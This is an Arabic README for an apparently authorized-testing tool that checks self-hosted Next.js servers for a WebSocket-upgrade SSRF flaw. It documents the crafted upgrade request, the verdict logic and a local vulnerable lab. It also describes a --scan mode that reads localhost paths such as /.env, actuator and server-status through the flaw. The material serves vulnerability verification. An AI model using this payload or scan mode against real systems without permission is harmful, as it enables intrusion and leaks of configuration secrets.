
مدقق OOB لـ GHSA-c4j6-fc7j-m34r / CVE-2026-44578 (Next.js WebSocket-upgrade SSRF)
أداة تحقق داخل النطاق (in-band verifier) لـ GHSA-c4j6-fc7j-m34r / CVE-2026-44578 — تزوير الطلبات من جانب الخادم (SSRF) في Next.js عبر طلبات ترقية WebSocket.
⚠️ للاستخدام المصرح به في الاختبارات الأمنية فقط. أنت وحدك المسؤول عن التأكد من أن لديك الإذن لاختبار كل هدف تمرره لهذا النص البرمجي.
| الحقل | القيمة |
|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CWE | CWE-918 (SSRF) |
| CVSS v3.1 | 8.6 (عالية) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| المتأثر | next >=13.4.13 <15.5.16, >=16.0.0 <16.2.5 |
| المُصحَّح | 15.5.16, 16.2.5 |
| commit التصحيح | c4f69086 |
| غير المتأثر | المستضاف على Vercel؛ output: "export"؛ النشر خلف وكيل عكسي لا يمرر Upgrade |
يفتح المهاجم اتصال TCP بعملية Next.js مستضافة ذاتياً ويرسل طلب ترقية WebSocket HTTP/1.1 URI طلبه هو URL مطلق:
GET http://anything/<path> HTTP/1.1
Host: <target>
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
في resolveRoutes، يحتوي URL على // (كل URI مطلق يفعل ذلك)، مما يطابق فرع "تطبيع الشرطات المكررة". يعود هذا الفرع مبكراً بـ { finished: true, statusCode: 308, parsedUrl: <mangled> }. يقوم المطبع بتجميع http://host/path إلى http:/host/path (شرطة واحدة).
في router-server.ts، تجاهل معالج الترقية قبل التصحيح finished/statusCode وتحقق فقط من parsedUrl.protocol. نظراً لأن البروتوكول ينجو من التطبيع، فقد استدعى proxyRequest(...).
يقوم proxyRequest بتشغيل url.format(parsedUrl) على URL المشوه، فيحصل على http:/host:port/path. يحلل http-proxy هذا الهدف، ولا يجد مضيفاً (url.parse('http:/...').host === null)، ويلجأ إلى وجهته الافتراضية: localhost:80 (أو localhost:443 لـ https).
لذا عملياً، يسمح لك SSRF بأن يفتح Next ترقية WebSocket إلى localhost:80 / localhost:443 لمضيف Next نفسه بمسار يتحكم فيه المهاجم.
قام التصحيح (commit c4f69086) بجعل معالج الترقية يتحقق من finished && !statusCode قبل التوكيل. حالة التطبيع 308 تفشل الآن في التحقق !statusCode ويتم إغلاق الـ socket بدلاً من ذلك.
لا يصل الوكيل أبداً إلى مضيف خارجي. إذا قمت بإعداد interactsh / Burp Collaborator / webhook canary وتوقعت أن تقوم عملية Next بالاتصال بالخارج، فلن يحدث — فالاتصال يذهب إلى localhost على الجهاز المستهدف. لذلك يستخدم هذا المحقق إشارة داخل النطاق (in-band) تُقرأ من socket الترقية: الخادم الضعيف يُرجع نص خطأ يمكن التعرف عليه، والخادم المُصحَّح لا يُرجع شيئاً.
هدف SSRF محدود لكنه لا يزال ذا معنى في النشر الفعلي:
127.0.0.1:80 أو :443 وتثق في الطلبات القادمة من localhost.127.0.0.1:80 (غير شائع لكن يُرى).نقاط نهاية بيانات تعريف AWS / GCP / Azure (169.254.169.254) غير قابلة للوصول مباشرة لأن الثغرة تثبت الوجهة إلى localhost.
لكل هدف، يفتح النص البرمجي socket TCP خام (أو TLS)، يرسل الترقية المصممة، يقرأ الرد، وينتج إشارتين:
verdict — ما إذا كانت الثغرة موجودة.impact_confirmed — ما إذا كان SSRF قد قام بالفعل بتسريب بيانات (أي خدمة مشتركة على localhost:80/443 للهدف أجابت وحصلنا على ردها).| الرد | الحكم (verdict) | impact_confirmed |
|---|---|---|
يحتوي على Internal Server Error | vulnerable | false — تم إثبات الثغرة، لكن الوكيل لم يجد شيئاً على localhost |
يبدأ بـ HTTP/1. | vulnerable_proxy_succeeded | true — تم تسريب بيانات رد فعلية |
| فارغ / إغلاق نظيف | likely_patched | false — يغطي أيضاً "ليس Next"، "وكيل عكسي أزال Upgrade"، "Vercel" |
| مطابق لعنصر التحكم بدون Upgrade | front_end_intercepts | false — وكيل الواجهة الأمامية قام بقصر كلا الاستقصائين؛ لم يصل SSRF إلى Next |
| أي شيء آخر | inconclusive | false |
عندما يكون impact_confirmed صحيحاً، يتضمن الناتج JSON أيضاً upstream_status و upstream_server و upstream_content_type المستخرجة من الرد المسرب (مفيدة للفرز / كتابة التقارير).
افتراضياً، يتلقى كل هدف أيضاً استقصاء تحكم (control probe) بنفس سطر الطلب URI المطلق ولكن بدون رؤوس Upgrade (Connection: close). إذا أعادت الواجهة الأمامية نفس الرد لكلا الاستقصائين (سطر الحالة + الحجم ضمن التسامح)، فإن واجهة الهدف الأمامية هي التي ترفض سطر طلب URI المطلق نفسه — nginx 400، Apache 400، حافة CDN — ولم يصل SSRF إلى Next. ينخفض الحكم إلى front_end_intercepts ويتضمن الناتج JSON front_end_status و front_end_server المستخرجين من رد الوكيل حتى يتمكن المشغل من تحديد ما يعترض.
هذا يلغي نتيجة إيجابية خاطئة واقعية لاحظناها عندما يكون Next المستضاف ذاتياً خلف nginx/Apache: يرفض هؤلاء الوكلاء سطر الطلب GET http:///x HTTP/1.1 الخاص بالاستقصاء بـ 400 عام، والذي كان المكتشف يقرأه سابقاً على أنه vulnerable_proxy_succeeded. مرر --no-control-probe لإلغاء الاشتراك ورؤية الأحكام الخام.
# هدف واحد
python3 verify_ghsa_c4j6.py --target https://app.example.com
# أهداف متعددة بتكرار العلامة
python3 verify_ghsa_c4j6.py \
--target https://app1.example.com \
--target app2.example.com:3000 \
--target 10.0.0.5:80
# من ملف (هدف واحد لكل سطر; '#' للتعليقات)
python3 verify_ghsa_c4j6.py --targets-file targets.txt
# من stdin
cat targets.txt | python3 verify_ghsa_c4j6.py
# إخراج JSON Lines للأدوات اللاحقة
python3 verify_ghsa_c4j6.py --targets-file targets.txt --json
# تعداد الخدمات المشتركة على localhost:80/443 للهدف عبر الثغرة
python3 verify_ghsa_c4j6.py --target https://app.example.com --scan
# نفس الشيء، بقائمة مسارات مخصصة
python3 verify_ghsa_c4j6.py --target ... --scan-paths-file my_paths.txt
--scan يستقصي قائمة مضمنة من المسارات الشائعة (وحدات حالة Apache/nginx، نقاط نهاية الصحة والمقاييس، Spring Boot Actuator، Go pprof، نقاط نهاية Daemon Docker، لوحات إدارة شائعة، ملفات تكوين مسربة، مسارات Elasticsearch، إلخ) عبر أداة SSRF.
افتراضياً، يشغل وضع المسح استقصاء أساسي تفاضلي (differential baseline) إضافياً بمسار عشوائي غير موجود لكل هدف. يتم وضع علامة DIFF على الاستقصاءات اللاحقة فقط عندما يختلف توقيع (الحالة، طول النص) عن الأساس — يتم تمييز 404s الموحدة من خدمة أعلى "لم تجد شيئاً" على أنها noise ولا تضخم عدد الإصابات. مرر --no-differential للإبلاغ عن كل استقصاء وصل إلى خدمة (سلوك قديم).
يتم تجميع الناتج لكل هدف:
=== vulnscope.local:3030 ===
baseline (random path): verdict=vulnerable_proxy_succeeded status=404 bytes≈500
[VULN+] DIFF / impact=YES status=200 ct='text/html'
[VULN+] DIFF /.env impact=YES status=200 ct='application/octet-stream'
[VULN+] DIFF /admin impact=YES status=200 ct='application/octet-stream'
[VULN+] DIFF /index.html impact=YES status=200 ct='text/html'
[VULN+] DIFF /server-status impact=YES status=200 ct='application/octet-stream'
[VULN+] noise /_health impact=YES status=404 ct='text/html;charset=utf-8'
[VULN+] noise /actuator/env impact=YES status=404 ct='text/html;charset=utf-8'
... (53 more 404 'noise' paths suppressed) ...
-> 5 differential hit(s) / 58 probes
-> upstream server(s) seen: SimpleHTTP/0.6 Python/3.14.4
صفوف DIFF هي الإصابات الحقيقية — المسارات التي اختلف ردها عن الأساس المسار العشوائي (حالة مختلفة، طول نص مختلف). وصلت صفوف noise إلى خدمة HTTP أيضاً، لكنها أنتجت نفس الرد الممل مثل الأساس — عادةً 404s موحدة لا يهتم بها المشغل. عندما يكون كل استقصاء noise ولا يوجد تباين في الأساس، لا تزال الثغرة موجودة لكن لا شيء مفيد يستمع على localhost:80/443 لذلك المضيف.
| العلامة | الوصف | الافتراضي |
|---|---|---|
--target URL | هدف واحد. تكرر للأهداف المتعددة. | — |
--targets-file PATH | ملف به هدف واحد لكل سطر. | — |
--probe-path PATH | المسار المستخدم في URI المطلق المُصمَّم. يصل إلى خدمة localhost للهدف على هذا المسار (يُسجَّل كلاحقة رمز خاص بكل هدف). | /x |
--scan | تعداد المسارات الشائعة على خدمة localhost لكل هدف. يرسل استقصاء أساس تفاضلي واحد لكل هدف بالإضافة إلى قائمة المسارات. | off |
--scan-paths-file PATH | قائمة مسارات مخصصة لوضع المسح (واحد لكل سطر). يفرض --scan. | built-in |
--no-differential | في وضع --scan، تخطى استقصاء الأساس وأبلغ عن كل استقصاء وصل إلى خدمة (سلوك قديم). | off |
--no-control-probe | تعطيل حماية الدائرة القصيرة للواجهة الأمامية (استقصاء إضافي بدون Upgrade لكل هدف). مفيد عندما تكون الأهداف معروفة بدقة على أنها عمليات Next مباشرة. | off |
--timeout SEC | مهلة لكل socket. | 5 |
--concurrency N | الاستقصاءات المتوازية. | 10 |
--insecure | تخطي التحقق من شهادة TLS. مطلوب مع --proxy عند MITM لـ TLS. | off |
--proxy URL | النفق عبر وكيل HTTP CONNECT (Burp / mitmproxy / ZAP). يدعم المصادقة الأساسية عبر http://user:pass@host:port. يتطلب Python 3.11+ للأهداف TLS. | direct |
--json | إخراج JSON Lines بدلاً من النص البشري. | off |
يمكن أن تكون الأهداف host أو host:port أو عناوين URL كاملة http(s)://....
نفق جميع الاستقصاءات عبر وكيل HTTP CONNECT للفحص في Burp / mitmproxy / OWASP ZAP:
# هدف HTTP عادي عبر Burp
python3 verify_ghsa_c4j6.py --target http://app.example.com --proxy http://127.0.0.1:8080
# هدف HTTPS عبر Burp (يقوم Burp بـ MITM لـ TLS — تحتاج --insecure أو تثبيت شهادة Burp)
python3 verify_ghsa_c4j6.py --target https://app.example.com --proxy http://127.0.0.1:8080 --insecure
# وكيل مع مصادقة أساسية
python3 verify_ghsa_c4j6.py --target ... --proxy http://user:[email protected]:3128
يرى الوكيل CONNECT host:port متبوعاً بالحمولة الخام للترقية — مفيد عندما تريد من Burp تسجيل/إعادة/تعديل استقصاءات SSRF.
يمكنك تشغيل مختبر ضعيف بخمس أوامر:
mkdir vuln-lab && cd vuln-lab
npm init -y && npm i [email protected] react@19 react-dom@19
mkdir pages && echo 'export default () => "ok"' > pages/index.js
npx next build && npx next start -p 3030 &
python3 ../verify_ghsa_c4j6.py --target 127.0.0.1:3030
الناتج:
[ VULN] target=127.0.0.1:3030 verdict=vulnerable impact= no
snippet: 'Internal Server Error'
كرر مع [email protected] ويجب أن ترى verdict=likely_patched.
يقوم demo_impact.sh بتشغيل Next على :80 (بحيث يكون هدف SSRF المثبت على localhost هو نفس عملية Next) ويقرأ HTML الخاص بـ Next مرة أخرى عبر الثغرة. يتطلب sudo لربط المنفذ المميز.
LAB_DIR=/path/to/next-vuln-lab ./demo_impact.sh
الناتج المتوقع ينتهي بـ IMPACT CONFIRMED — SSRF reached a service on the target localhost and read response data back.
Upgrade سيخفي الثغرة؛ سيعيد النص البرمجي likely_patched. أعد الاختبار مباشرة ضد عملية Next إذا كان بإمكانك.Internal Server Error نظرياً بواسطة وكيل علوي بمفرده. لاستبعاد ذلك، أعد إرسال نفس الحمولة مع Connection: close بدلاً من Connection: Upgrade — يتوقف Next الضعيف الحقيقي عن إرجاع نص Internal Server Error في هذه الحالة (مسار كود مختلف).next start يُفترض أن يستخدم HTTP/1.1.اختبر فقط الأنظمة التي تملكها أو لديك إذن صريح مكتوب لتقييمها.
MIT